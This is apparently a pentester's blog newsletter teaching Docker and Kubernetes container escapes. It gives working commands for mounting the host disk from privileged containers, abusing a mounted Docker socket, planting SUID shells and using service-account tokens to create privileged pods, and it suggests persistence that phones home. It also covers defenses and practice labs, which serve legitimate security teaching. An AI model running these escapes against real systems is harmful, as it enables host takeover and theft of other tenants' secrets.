Docker Escape: Breaking Out of Containers
13 min read
November 9, 2025
🚧 Site Migration Notice
I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.
If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

Table of contents
Hey everyone,
This summer I did something I’ve been meaning to do for a while: I actually sat down and learned Docker security properly. Not just the basics you pick up from running docker run in pentests, but really understanding how containers work under the hood and where they break.
The motivation? I wanted to build Valeris, a Rust-based security scanner for Docker containers. I’ve been documenting the whole process in my Docker Security series, and it’s been one of the most rewarding learning projects I’ve done this year.
But here’s the thing: once you understand how containers actually isolate processes (spoiler: they don’t, not really), you start seeing escape paths everywhere. Privileged mode. Docker socket exposure. Kernel exploits. Kubernetes service account tokens. The list goes on.
Containers aren’t virtual machines. They’re just processes with fancy kernel tricks applied. And when those tricks fail, or when someone misconfigures them, breaking out is surprisingly straightforward.
So I wanted to take what I’ve learned this summer and condense it into a practical guide. This newsletter covers the most common container escape techniques: what to look for when you land inside a container, how to exploit misconfigurations, and why these issues keep showing up in production environments.
If you want the deep dive on how Docker isolation works (namespaces, cgroups, and all that), check out Chapter 1 of the Docker Security series. For privilege escalation with root containers and mounted directories, Chapter 2 has you covered.
This newsletter focuses on the bigger picture: all the ways containers fail to be secure boundaries.
How Containers Actually Work (The 30-Second Version)
Containers aren’t VMs. They’re just Linux processes isolated using namespaces (what a process can see) and cgroups (what it can use). No hypervisor. No separate kernel. Just kernel tricks.
When those tricks fail or get disabled, you’re running on the host.
For the full technical breakdown, read Docker Security Chapter 1. For now, just know: containers share the host kernel, and that’s both the performance win and the security risk.
Why Container Escapes Matter
When you compromise a containerized application, you’re not done. You’re stuck in a sandbox with limited access to the actual system.
What you can’t see from inside a container:
- Other containers running on the host
- Host filesystem (unless explicitly mounted)
- Host network interfaces (unless using host networking)
- Real process tree on the host
- Kernel modules and configuration
But if you escape, you get:
- Full root access to the host system
- Access to all other containers
- Cloud metadata credentials (AWS, Azure, GCP)
- Secrets, environment variables from other apps
- Ability to persist and pivot across the infrastructure
Container escapes turn limited RCE into full infrastructure compromise.
Detecting You’re in a Container
First, figure out if you’re even in a container. Here are the signs:
Check for .dockerenv file:
ls -la / | grep dockerenv
If /.dockerenv exists, you’re in Docker.
Check cgroup entries:
cat /proc/1/cgroup
If you see docker or kubepods in the output, you’re containerized.
Check for container-specific environment variables:
env | grep -i kube
env | grep -i docker
Sparse filesystem:
ls /home # Often empty in containers
df -h # Small, minimal filesystems
Once you confirm you’re in a container, start looking for escape paths.
Privileged Containers: The Easy Win
Running a container with --privileged is the container escape equivalent of giving an attacker a gift-wrapped root shell.
What —privileged does:
- Disables all security restrictions
- Gives container access to all host devices
- Allows mounting the host filesystem
- Basically removes all isolation
Check if you're in a privileged container:
ip link add dummy0 type dummy
If this succeeds, you’re privileged. Non-privileged containers can’t create network interfaces.
Exploiting Privileged Containers
If you’re privileged, escape is trivial. Mount the host filesystem and chroot into it:
# List available disks
fdisk -l
# Create mount point
mkdir /mnt/host
# Mount the host root filesystem
mount /dev/sda1 /mnt/host
# Chroot into it
chroot /mnt/host bash
# You're now root on the host
id
From here, you can:
- Add SSH keys to
/root/.ssh/authorized_keys - Modify
/etc/passwdor/etc/shadow - Install backdoors
- Access secrets from other containers
Pro tip: If you want persistence, add a cron job or systemd service on the host that phones home.
Exploiting Excessive Capabilities
Even if the container isn’t fully privileged, it might have dangerous Linux capabilities enabled.
Linux capabilities split root privileges into distinct units. Containers often get more capabilities than they need.
Check your capabilities:
capsh --print
Or:
cat /proc/self/status | grep Cap
CAP_SYS_ADMIN: Almost as Good as Privileged
CAP_SYS_ADMIN is a catch-all capability that allows mounting filesystems, among other things.
If you have it, you can mount the host filesystem:
# Check if CAP_SYS_ADMIN is set
capsh --print | grep sys_admin
# If yes, mount host filesystem
mkdir /mnt/host
mount -t ext4 /dev/sda1 /mnt/host
chroot /mnt/host bash
CAP_SYS_PTRACE: Inject into Host Processes
CAP_SYS_PTRACE lets you attach to and manipulate processes. If you can see host processes (rare but possible), you can inject shellcode.
CAP_DAC_READ_SEARCH: Read Any File
Bypasses file read permission checks. Combined with knowledge of where secrets are stored, you can exfiltrate sensitive data.
Defense note: Only grant the minimum required capabilities. Most apps don’t need any beyond the default set.
Docker Socket Exposure: The Ultimate Backdoor
Some developers mount the Docker socket (/var/run/docker.sock) into containers to allow them to manage other containers. This is catastrophic.
Check if the Docker socket is mounted:
ls -la /var/run/docker.sock
If it exists and is writable, you can control Docker on the host.
Exploiting Docker Socket Access
If you have access to the socket, you can spawn a new privileged container with the host filesystem mounted:
# Check docker version
docker version
# Spawn a new privileged container with host root mounted
docker run -v /:/host -it alpine chroot /host bash
You’re now root on the host.
Alternative if docker binary isn’t available:
# Install Docker client in the container first
apk add docker # Alpine
# or
apt-get update && apt-get install docker.io # Debian/Ubuntu
# Then run the escape
docker run -v /:/host -it alpine chroot /host bash
If you can’t install Docker, use curl to interact with the socket directly:
# List containers via Docker API
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Create a privileged container
curl --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
# Start it and attach
Docker socket exposure is a common misconfiguration in CI/CD pipelines, developer tooling, and monitoring containers.
Exploiting Host Path Mounts
Containers often have host directories mounted for logs, configs, or shared data. If you’re root in the container and a sensitive directory is mounted with write access, you can modify files on the host.
Classic example: SUID binaries
If /tmp or any host directory is mounted, drop a SUID bash binary:
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4777 /mnt/bash
From the host, run ./bash -p and you’re root.
Other targets:
/etcmounted? Add cron jobs or modify/etc/passwd/rootmounted? Drop SSH keys- Application directories? Backdoor startup scripts
For a detailed walkthrough of this technique with practical examples, check out Docker Security Chapter 2 where I demonstrate the full attack chain.
Kernel Exploits from Containers
Containers share the host kernel. If the kernel is vulnerable, you can exploit it from inside the container to break out.
Recent examples:
-
CVE-2022-0847 (Dirty Pipe) – Flaw in the Linux kernel pipe buffer structure allowing unprivileged users to write to read-only pages in the page cache. Affects kernel versions 5.8 through 5.16.11. While exploitation requires local access, containers with elevated privileges can leverage this for escape. CVSS: 7.8 (HIGH).
-
CVE-2022-0185 – Heap-based buffer overflow in the
legacy_parse_paramfunction in Linux kernel’s Filesystem Context. Affects kernel versions 5.1 through 5.16. Exploitable for privilege escalation and container escape. Listed in CISA’s Known Exploited Vulnerabilities Catalog. CVSS: 8.4 (HIGH). -
CVE-2021-22555 – Heap out-of-bounds write in net/netfilter/x_tables.c affecting Linux since v2.6.19. Used for container escapes in the wild through heap memory corruption. Added to CISA’s KEV Catalog. CVSS: 7.8 (HIGH).
Check kernel version:
uname -r
Then search for exploits matching that version.
Tools like linux-exploit-suggester can help identify kernel vulnerabilities:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
If you find a viable kernel exploit, compile and run it. Successful exploitation often gives you root on the host.
Note: Kernel exploits can crash the system, so use them carefully in production environments (or when you don’t want to alert defenders).
Kubernetes-Specific Escapes
If you’re in a Kubernetes pod, you have additional escape vectors.
Service Account Tokens
By default, Kubernetes mounts a service account token into every pod at /var/run/secrets/kubernetes.io/serviceaccount/token.
Check for service account token:
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
With this token, you can interact with the Kubernetes API:
# Get API server URL
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# List pods in current namespace
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/pods
# If you have permissions, create a privileged pod
curl -k -H "Authorization: Bearer $TOKEN" -X POST \
-H "Content-Type: application/json" \
-d @privileged-pod.json \
$APISERVER/api/v1/namespaces/default/pods
If the service account has cluster-admin or elevated permissions, you can create a privileged pod with host mounts and escape.
Kubernetes Node Access
Some Kubernetes pods run with hostNetwork: true, hostPID: true, or hostIPC: true. These settings give you access to the node’s network, process tree, or IPC namespace.
If hostPID is enabled, you can see all processes on the node:
ps aux
Look for processes running on the host. If you see SSH, Docker, or kubelet, you might be able to interact with them.
If hostNetwork is enabled, you can access internal services that are normally firewalled from pods.
Tools for Container Escapes
CDK (Container Detection Kit) – All-in-one tool for container enumeration and escape. Supports Docker, Kubernetes, and various misconfigurations.
./cdk evaluate
./cdk run cap-dac-read-search
./cdk run mount-disk
deepce – Docker enumeration and escape tool. Checks for common misconfigurations automatically.
./deepce.sh
amicontained – Detects container runtime and checks capabilities.
amicontained
botb (Break Out The Box) – Container escape analysis and exploitation tool.
kubectl – If you’re in a Kubernetes pod with sufficient permissions, kubectl is your best friend for interacting with the cluster.
Defense and Detection
If you’re defending containerized infrastructure, here’s what actually works:
Don’t Run Privileged Containers – Ever. There’s almost never a good reason. If you think you need it, you probably don’t.
Drop Unnecessary Capabilities – Use --cap-drop=ALL and only add what’s required:
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp
Don’t Mount the Docker Socket – Seriously. If a container needs to manage Docker, use a dedicated orchestration tool like Kubernetes or a secure API proxy.
Use User Namespaces – Map container root to an unprivileged user on the host:
dockerd --userns-remap=default
Read-Only Filesystems – Mount container filesystems as read-only where possible:
docker run --read-only myapp
Seccomp and AppArmor Profiles – Restrict system calls and actions the container can perform. Docker has default profiles; customize them for your app.
Runtime Security Monitoring – Tools like Falco and Sysdig detect abnormal container behavior (process execution, file access, network connections).
Regular Kernel Updates – Since containers share the host kernel, keep it patched. Subscribe to kernel security mailing lists.
Least Privilege for Kubernetes Service Accounts – Don’t give pods unnecessary RBAC permissions. Default service accounts should have minimal access.
Network Policies – In Kubernetes, use network policies to restrict pod-to-pod and pod-to-internet traffic.
Where to Practice
TryHackMe – Containers & Kubernetes Rooms:
- The Docker Rodeo – Container escape challenges
- Kubernetes for Everyone – Kubernetes security basics
Hack The Box Machines:
- Carpediem – Container escape via CVE-2022-0492 (cgroup release_agent vulnerability)
- Opensource – Container enumeration and Git hooks exploitation
- MonitorsTwo – Docker container escape and privilege escalation
- Ready – GitLab exploitation and Docker container breakout
HackTricks – Docker Security: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/
Comprehensive guide covering Docker escapes, misconfigurations, and privilege escalation techniques including privileged containers, Docker socket abuse, and sensitive mounts.
Your Own Lab: Spin up a local Docker environment and practice:
- Create a privileged container and mount the host filesystem
- Run a container with excessive capabilities and exploit them
- Mount
/var/run/docker.sockand spawn a new privileged container - Simulate kernel exploits (in a VM, not on your main system)
Wrapping Up
Containers are not a security boundary. They’re a convenience layer for packaging and deploying applications. The isolation they provide is useful for preventing accidents, not attacks.
When you land inside a container during a pentest, don’t stop there. Enumerate your environment. Check for privileged mode, excessive capabilities, mounted Docker socket, or writable host paths. Look for Kubernetes service account tokens. Check the kernel version.
One misconfiguration and you’re out. And once you’re out, the entire host and potentially the entire cluster is yours.
Building Valeris and the Docker Security Series
This whole newsletter came out of a summer spent deep in Docker internals. I wanted to build a practical tool (Valeris) that could catch these misconfigurations before they turn into incidents.
The tool is still in development, but it’s already functional. It scans running containers for common issues like root users, dangerous mounts, and exposed capabilities. All using YAML-based rules that you can customize without recompiling.
If you want to follow along with the development or dive deeper into container security:
- Docker Security Series – Full technical breakdown with hands-on examples
- Valeris on GitHub – The tool itself, contributions welcome
- Chapter 1: How Docker Works – Namespaces, cgroups, OverlayFS explained
- Chapter 2: Privilege Escalation – Root containers, SUID attacks,
/proc/<PID>/rootexploitation
Building this tool has been one of the best learning experiences I’ve had this year. It forced me to understand not just how to exploit containers, but how to detect those exploits programmatically. And honestly, that’s where the real learning happens.
So next time you pop a shell and see /.dockerenv, don’t groan. Smile. Because you’re about to learn something new about how the infrastructure is configured, and there’s a good chance you’re going to find a way out.
Thanks for reading, and happy escaping.
Ruben
Chapters
Previous Issue